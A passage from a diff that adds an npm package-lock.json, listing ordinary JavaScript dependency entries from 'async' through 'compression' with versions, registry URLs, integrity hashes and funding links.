">=4" + } + }, + "node_modules/async": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz", + "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==", + "dev": true, + "dependencies": { + "lodash": "^4.17.14" + } + }, + "node_modules/autoprefixer": { + "version": "9.8.8", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.8.8.tgz", + "integrity": "sha512-eM9d/swFopRt5gdJ7jrpCwgvEMIayITpojhkkSMRsFHYuH5bkSQ4p/9qTEHtmNudUZh22Tehu7I6CxAW0IXTKA==", + "dev": true, + "dependencies": { + "browserslist": "^4.12.0", + "caniuse-lite": "^1.0.30001109", + "normalize-range": "^0.1.2", + "num2fraction": "^1.2.2", + "picocolors": "^0.2.1", + "postcss": "^7.0.32", + "postcss-value-parser": "^4.1.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "funding": { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + } + }, + "node_modules/autoprefixer/node_modules/picocolors": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==", + "dev": true + }, + "node_modules/babel-eslint": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/babel-eslint/-/babel-eslint-10.1.0.tgz", + "integrity": "sha512-ifWaTHQ0ce+448CYop8AdrQiBsGrnC+bMgfyKFdi6EsPLTAWG+QfyDeM6OH+FmWnKvEq5NnBMLvlBUPKQZoDSg==", + "deprecated": "babel-eslint is now @babel/eslint-parser. This package will no longer receive updates.", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.0.0", + "@babel/parser": "^7.7.0", + "@babel/traverse": "^7.7.0", + "@babel/types": "^7.7.0", + "eslint-visitor-keys": "^1.0.0", + "resolve": "^1.12.0" + }, + "engines": { + "node": ">=6" + }, + "peerDependencies": { + "eslint": ">= 4.12.1" + } + }, + "node_modules/babel-loader": { + "version": "8.2.4", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.4.tgz", + "integrity": "sha512-8dytA3gcvPPPv4Grjhnt8b5IIiTcq/zeXOPk4iTYI0SVXcsmuGg7JtBRDp8S9X+gJfhQ8ektjXZlDu1Bb33U8A==", + "dev": true, + "dependencies": { + "find-cache-dir": "^3.3.1", + "loader-utils": "^2.0.0", + "make-dir": "^3.1.0", + "schema-utils": "^2.6.5" + }, + "engines": { + "node": ">= 8.9" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "webpack": ">=2" + } + }, + "node_modules/babel-loader/node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/babel-plugin-dynamic-import-node": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz", + "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", + "dev": true, + "dependencies": { + "object.assign": "^4.1.0" + } + }, + "node_modules/babel-plugin-emotion": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-10.2.2.tgz", + "integrity": "sha512-SMSkGoqTbTyUTDeuVuPIWifPdUGkTk1Kf9BWRiXIOIcuyMfsdp2EjeiiFvOzX8NOBvEh/ypKYvUh2rkgAJMCLA==", + "dependencies": { + "@babel/helper-module-imports": "^7.0.0", + "@emotion/hash": "0.8.0", + "@emotion/memoize": "0.7.4", + "@emotion/serialize": "^0.11.16", + "babel-plugin-macros": "^2.0.0", + "babel-plugin-syntax-jsx": "^6.18.0", + "convert-source-map": "^1.5.0", + "escape-string-regexp": "^1.0.5", + "find-root": "^1.1.0", + "source-map": "^0.5.7" + } + }, + "node_modules/babel-plugin-macros": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-2.8.0.tgz", + "integrity": "sha512-SEP5kJpfGYqYKpBrj5XU3ahw5p5GOHJ0U5ssOSQ/WBVdwkD2Dzlce95exQTs3jOVWPPKLBN2rlEWkCK7dSmLvg==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "cosmiconfig": "^6.0.0", + "resolve": "^1.12.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.1.tgz", + "integrity": "sha512-v7/T6EQcNfVLfcN2X8Lulb7DjprieyLWJK/zOWH5DUYcAgex9sP3h25Q+DLsX9TloXe3y1O8l2q2Jv9q8UVB9w==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.13.11", + "@babel/helper-define-polyfill-provider": "^0.3.1", + "semver": "^6.1.1" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.5.2.tgz", + "integrity": "sha512-G3uJih0XWiID451fpeFaYGVuxHEjzKTHtc9uGFEjR6hHrvNzeS/PX+LLLcetJcytsB5m4j+K3o/EpXJNb/5IEQ==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.3.1", + "core-js-compat": "^3.21.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.3.1.tgz", + "integrity": "sha512-Y2B06tvgHYt1x0yz17jGkGeeMr5FeKUu+ASJ+N6nB5lQ8Dapfg42i0OVrf8PNGJ3zKL4A23snMi1IRwrqqND7A==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.3.1" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-syntax-jsx": { + "version": "6.18.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz", + "integrity": "sha1-CvMqmm4Tyno/1QaeYtew9Y0NiUY=" + }, + "node_modules/babel-runtime": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", + "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", + "dependencies": { + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" + } + }, + "node_modules/babel-runtime/node_modules/core-js": { + "version": "2.6.12", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz", + "integrity": "sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==", + "deprecated": "core-js@<3.4 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Please, upgrade your dependencies to the actual version of core-js.", + "hasInstallScript": true + }, + "node_modules/babel-runtime/node_modules/regenerator-runtime": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", + "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==" + }, + "node_modules/bail": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/bail/-/bail-1.0.5.tgz", + "integrity": "sha512-xFbRxM1tahm08yHBP16MMjVUAvDaBMD38zsM9EMAUN61omwLmKlOpB/Zku5QkjZ8TZ4vn53pj+t518cH0S03RQ==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "node_modules/base16": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/base16/-/base16-1.0.0.tgz", + "integrity": "sha1-4pf2DX7BAUp6lxo568ipjAtoHnA=" + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/batch": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz", + "integrity": "sha1-3DQxT05nkxgJP8dgJyUl+UvyXBY=", + "dev": true + }, + "node_modules/big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/biskviit": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/biskviit/-/biskviit-1.0.1.tgz", + "integrity": "sha1-A3oM1LcbnjMf2QoRIt4X3EnkIKc=", + "dependencies": { + "psl": "^1.1.7" + }, + "engines": { + "node": ">=1.0.0" + } + }, + "node_modules/body-parser": { + "version": "1.19.2", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.2.tgz", + "integrity": "sha512-SAAwOxgoCKMGs9uUAUFHygfLAyaniaoun6I8mFY9pRAJL9+Kec34aU+oIjDhTycub1jozEfEwx1W1IuOYxVSFw==", + "dev": true, + "dependencies": { + "bytes": "3.1.2", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "~1.1.2", + "http-errors": "1.8.1", + "iconv-lite": "0.4.24", + "on-finished": "~2.3.0", + "qs": "6.9.7", + "raw-body": "2.4.3", + "type-is": "~1.6.18" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/body-parser/node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/body-parser/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/body-parser/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, + "node_modules/bonjour": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/bonjour/-/bonjour-3.5.0.tgz", + "integrity": "sha1-jokKGD2O6aI5OzhExpGkK897yfU=", + "dev": true, + "dependencies": { + "array-flatten": "^2.1.0", + "deep-equal": "^1.0.1", + "dns-equal": "^1.0.0", + "dns-txt": "^2.0.2", + "multicast-dns": "^6.0.1", + "multicast-dns-service-types": "^1.1.0" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=", + "dev": true + }, + "node_modules/bootstrap": { + "version": "4.6.1", + "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.6.1.tgz", + "integrity": "sha512-0dj+VgI9Ecom+rvvpNZ4MUZJz8dcX7WCX+eTID9+/8HgOkv3dsRzi8BGeZJCQU6flWQVYxwTQnEZFrmJSEO7og==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/bootstrap" + }, + "peerDependencies": { + "jquery": "1.9.1 - 3", + "popper.js": "^1.16.1" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.20.2", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.20.2.tgz", + "integrity": "sha512-CQOBCqp/9pDvDbx3xfMi+86pr4KXIf2FDkTTdeuYw8OxS9t898LA1Khq57gtufFILXpfgsSx5woNgsBgvGjpsA==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001317", + "electron-to-chromium": "^1.4.84", + "escalade": "^3.1.1", + "node-releases": "^2.0.2", + "picocolors": "^1.0.0" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==" + }, + "node_modules/buffer-indexof": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/buffer-indexof/-/buffer-indexof-1.1.1.tgz", + "integrity": "sha512-4/rOEg86jivtPTeOUUT61jJO1Ya1TrR/OkqCSZDyq84WJh3LuuiphBYJN+fm5xufIk4XAFcEwte/8WzC8If/1g==", + "dev": true + }, + "node_modules/bytes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/camel-case": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-3.0.0.tgz", + "integrity": "sha1-yjw2iKTpzzpM2nd9xNy8cTJJz3M=", + "dev": true, + "dependencies": { + "no-case": "^2.2.0", + "upper-case": "^1.1.1" + } + }, + "node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/camelcase-keys": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-6.2.2.tgz", + "integrity": "sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==", + "dev": true, + "dependencies": { + "camelcase": "^5.3.1", + "map-obj": "^4.0.0", + "quick-lru": "^4.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001325", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001325.tgz", + "integrity": "sha512-sB1bZHjseSjDtijV1Hb7PB2Zd58Kyx+n/9EotvZ4Qcz2K3d0lWB8dB4nb8wN/TsOGFq3UuAm0zQZNQ4SoR7TrQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + } + ] + }, + "node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/character-entities": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-1.2.4.tgz", + "integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-legacy": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz", + "integrity": "sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-reference-invalid": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz", + "integrity": "sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/chardet": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", + "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==", + "dev": true + }, + "node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chrome-trace-event": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", + "engines": { + "node": ">=6.0" + } + }, + "node_modules/classnames": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.3.1.tgz", + "integrity": "sha512-OlQdbZ7gLfGarSqxesMesDa5uz7KFbID8Kpq/SxIoNGDqY8lSYs0D+hhtBXhcdB3rcbXArFr7vlHheLk1voeNA==" + }, + "node_modules/clean-css": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-4.2.4.tgz", + "integrity": "sha512-EJUDT7nDVFDvaQgAo2G/PJvxmp1o/c6iXLbswsBbUFXi1Nr+AjA2cKmfbKDMjMvzEe75g3P6JkaDDAKk96A85A==", + "dev": true, + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 4.0" + } + }, + "node_modules/clean-css/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", + "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", + "dev": true, + "dependencies": { + "restore-cursor": "^3.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cli-width": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-3.0.0.tgz", + "integrity": "sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/cliui/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/clone-deep": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/clone-regexp": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clone-regexp/-/clone-regexp-2.2.0.tgz", + "integrity": "sha512-beMpP7BOtTipFuW8hrJvREQ2DrRu3BE7by0ZpibtfBA+qfHYvMGTc2Yb1JMYPKg/JUw0CHYvpg796aNTSW9z7Q==", + "dev": true, + "dependencies": { + "is-regexp": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/clsx": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.1.1.tgz", + "integrity": "sha512-6/bPho624p3S2pMyvP5kKBPXnI3ufHLObBFCfgx+LkeR5lg2XYy2hqZqUf45ypD8COn2bhgGJSUE+l5dhNBieA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" + }, + "node_modules/colorette": { + "version": "2.0.16", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.16.tgz", + "integrity": "sha512-hUewv7oMjCp+wkBv5Rm0v87eJhq4woh5rSR+42YSQJKecCqgIqNkZ6lAlQms/BwHPJA5NKMRlpxPRv0n8HQW6g==", + "dev": true + }, + "node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=", + "dev": true + }, + "node_modules/component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==", + "peer": true + }, + "node_modules/compressible": { + "version": "2.0.18", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "dev": true, + "dependencies": { + "mime-db": ">= 1.43.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compression": { + "version": "1.7.4", + "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz", + "integrity": 